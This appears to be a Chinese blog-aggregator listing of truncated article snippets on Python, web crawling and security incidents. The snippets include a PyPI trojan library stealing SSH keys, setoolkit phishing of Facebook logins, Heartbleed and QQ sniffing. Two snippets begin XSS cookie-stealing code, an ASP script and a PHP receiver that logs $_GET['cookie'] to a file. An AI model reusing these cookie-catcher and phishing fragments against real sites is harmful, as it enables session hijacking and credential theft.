近日，Python安全团队从PyPI（Python 的官方第三方软件存储库）中删除了两个存在木马后门的Python库，这些库被发现从被感染这些库的开发人员的项目中窃取SSH和GPG密钥。如下：第一个植入了木马的库名是python3-dateutil它模仿了流行的python dateutil 库，在名称前面假装是python3版本混入Pypi中。https://pypi.org/project/p
学习Python，就避免不了爬虫，而Scrapy就是最流行的一个。你可以爬取文字信息（如招聘职位信息，网站评论等），也可以爬取图片，比如看到一些好的网站展示了很多精美的图片（这里只用作个人学习Scrapy使用，不作商业用途），可以download下来。好了，不多说，现在开始一个最简单的图片爬虫。装了这个，你不需要在去装firebug，firepath之类的插件这里的例子，以花瓣网为例，抓取http
转载
2023-12-19 21:49:18
33阅读
2010年最后一天，普通用户可以在google网站上搜索指定关键字，可以搜索到金山宣称3亿网民面临隐私信息被窃取的风险，并...
转载
2023-07-14 17:55:58
0阅读
2010年最后一天，普通用户可以在google网站上搜索指定关键字，可以搜索到大量中国互联网用户使用互联网的隐私记录，甚至包括用户登陆网站或邮箱的用户名、密码等。事件概述12月31日，金山召开发布会，称“360侵犯用户隐私”，随后发布“一级安全预警”，称“上亿用户名和密码外泄”。金山网络在事件发生后，通过新闻发布会发布了多张隐私记录截图，金山宣称3亿网民面临隐私信息被窃取的风险，并发布安全预警。泄
转载
2018-02-21 23:24:25
482阅读
如何使用Kali的setoolkit伪造网页盗取Facebook账号和密码。
The Social-Engineer Toolkit，Kali Linux自带的神器，据说可以各种高级黑，本博文就简短的把我以前测试的步骤复制粘贴出来晒下，你们懂得，内容仅供学习和参考，在看过本教程后作出任何逾越法律边界的事情我等概不负责，谢谢。
原创
2014-10-29 13:39:10
9918阅读
点赞
4评论
利用XSS盗取cookies
1.把下里代码保存为cookies.asp,然后上传到能被正常访问的空间
<%
test
原创
2012-02-25 17:54:35
2024阅读
2007年4月16日更新增加了一个令牌的判断,可以抓新版本的QQ和老版本的QQ包了.2007年4月16日更新因为朋友们说这个程序已经无法捕捉到最新的QQ登陆包了,所以修改了一下.因为时间关系,我没有修改本文的其他部分,仅仅修改了代码.作者：梅劲松本文档和程序为MIT授权说到嗅探必须要讲到所支持的环境，并非只能对本机或者HUB环境才能使用。对于交换机，你可以指定一个口为嗅探口，从这个口能拿到所有端口
转载
2023-12-30 18:51:57
55阅读
#说实话我不喜欢国人写的书，讲个XSS的Cookie窃取还要先写个好几页的Cookie的介绍。感觉除了占点地方没别的用处了。
#要学什么就学什么，目标要盯牢，别学到一半觉得需要学另外的相关知识。wiki了解一下就行。
#要做什么，就准备什么。宁可简单粗暴，不要曲线救国。摊子铺大了，目标就模糊了，效率低，反馈慢，渐渐的就兜不回来了。-- 知乎mumu 第二章开头就回答了我的疑惑，XSS
网络服务公司Cloudflare周六报道称，与之前的怀疑相反，黑客可以通过被称为“Heartbleed”的重大漏洞从有漏洞的网站中获取私钥。就在昨天，Cloudflare发布了初步的调查结果称，通过Heartbleed获得重要的密钥以解密套接层即使可能也十分困难。为了肯定这一结论，Cloudflare发起了“Heartbleed挑战赛”以查看其他人利用漏洞可能导致的后果。公司搭建了一个nginx服
转载
2024-05-11 06:35:22
24阅读
前言 上一篇文章中介绍了XSS(跨站脚本攻击)简单原理与几种类型。接下来通过实例用几行代码实现cookie的盗取。 正文 这里测试用的工具是DVWA(可以本地搭建，前面文章有介绍），和phpstudy。首先登陆DVWA，选择low模式，点击submit按钮。如下图 然后咱们点击XSS(Reflect
原创
2021-04-27 18:37:00
1710阅读
相信大家都有一种头疼的体验，要下载电影特别费劲，对吧？要一部一部的下载，而且不能直观的知道最近电影更新的状态。今天以电影天堂为例，带大家更直观的去看自己喜欢的电影，并且下载下来。【二、项目准备】首先 我们第一步我们要安装一个Pycharm的软件。电影天堂网的网址：https://www.ygdy8.net/html/gndy/dyzz/list_23_1.html我们需要下载几个库，怎么下载呢？首
转载
2023-09-05 15:06:55
323阅读
输入密码时若让用户不可见，可以使用getpass模块中的getpass方法# 输入密码时若想要不可见，使用getpass模块中getpass方法即可
import getpass
pwd=getpass.getpass("请输入密码：")
print(pwd)用例一：# 提示输入用户名和密码
# 验证用户名和密码
# 如果错误，则输出用户名或密码错误
# 如果成功，则输出 欢迎，X
转载
2023-05-30 11:36:24
236阅读
声明：仅供交流使用，严禁违法犯罪，否则后果自负1，准备接收cookie的环境： ip为172.24.10.105代码为：保存为 getCookie.php<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt&q
原创
2018-04-18 21:21:01
10000+阅读
点赞
如何避免他人盗取 iPhone 后获取银行账户信息？
转载
2021-07-08 17:33:00
928阅读
2评论
1、 python爬虫可以爬取大规模数据。Python具有丰富和强大的库。它常被昵称为胶水语言，能够把用其他语言制作的各种模块(尤其是C/C++)很轻松地联结在一起。基本上可以负责任地认为，Python 可以做任何事情。无论是从入门级选手到专业级数据挖掘、科学计算、python爬虫、web开发、图像处理、人工智能，Python 都可以胜任。或许是因为这种万能属性，周围好更多的小伙伴都开始学习 Py
转载
2023-10-17 22:17:38
5阅读
有到一年315，和预想的一样，今年315又曝光了数据隐私安全乱象。APP过度收集信息、大数据杀熟、黑灰产攻击、人为倒卖等安全问题成为社会焦点。一、不法分子向受害者发送钓鱼短信。不法者通过“快递理赔、ETC卡禁用”等套路，诱骗消费者登录钓鱼网站。消费者在收到诱骗短信后，登录到钓鱼网站进行信息填写，系统后台就会将消费者填写的姓名、身份证号、手机号等个人信息窃取。二、大数据杀熟。一些科技公司利用大数据技
转载
2023-11-01 09:26:52
17阅读
在各种线上应用中，用户名密码是用户身份认证的关键，它的重要性不言而喻。一方面，作为保护用户敏感数据的钥匙来说，一旦被破解，系统将敞开大门完全不设防。另一方面，密码这把钥匙本身就是非常敏感的数据：大多数用户会在不同应用中使用近似甚至完全相同的密码。一旦某一个应用的密码被破解，很可能坏人就此掌握了用户的“万能钥匙”，这个用户的其它应用也相当危险了。这篇博文就重点讨论对于密码本身的存储的安全性考虑，而系
转载
2023-10-11 07:15:26
7阅读
# 如何避免在 Python 中使用明文密码的方案
在现代软件开发中，密码的安全性至关重要。使用明文密码不仅会增加系统被攻击的风险，还可能导致用户信息泄露。因此，本项目旨在提供一个有效的方案，以帮助开发者在 Python 应用中避免使用明文密码。我们将介绍加密技术、环境变量的使用以及密码管理工具的整合。
## 方案概述
我们的方案包括以下几个关键部分：
1. **加密用户密码**：使用哈希
原创
2024-09-16 06:31:24
166阅读
# Python notebook如何设置密码
Python notebook是一种非常流行的交互式编程环境，被广泛应用于数据分析、机器学习、数据可视化等领域。在实际应用中，为了保护敏感数据和代码，我们常常需要为Python notebook设置密码，以确保只有授权的人员能够访问。
本文将介绍如何使用Jupyter Notebook来设置密码，以及如何通过配置文件进行设置。我们将使用Jupyt
原创
2023-09-26 08:13:16
465阅读
# 项目方案：Python构建WiFi密码生成器
## 1. 项目背景
在现代社会中，WiFi已经成为人们生活中不可或缺的一部分。许多人在设置WiFi密码时，往往希望密码既能够保证安全性，又要方便记忆。因此，我们可以开发一个Python项目，用于生成符合要求的WiFi密码。本项目将通过Python编程，使用一些随机化和字符串处理的技术来生成满足要求的WiFi密码。
## 2. 项目流程
本项目
原创
2023-11-14 13:33:01
129阅读
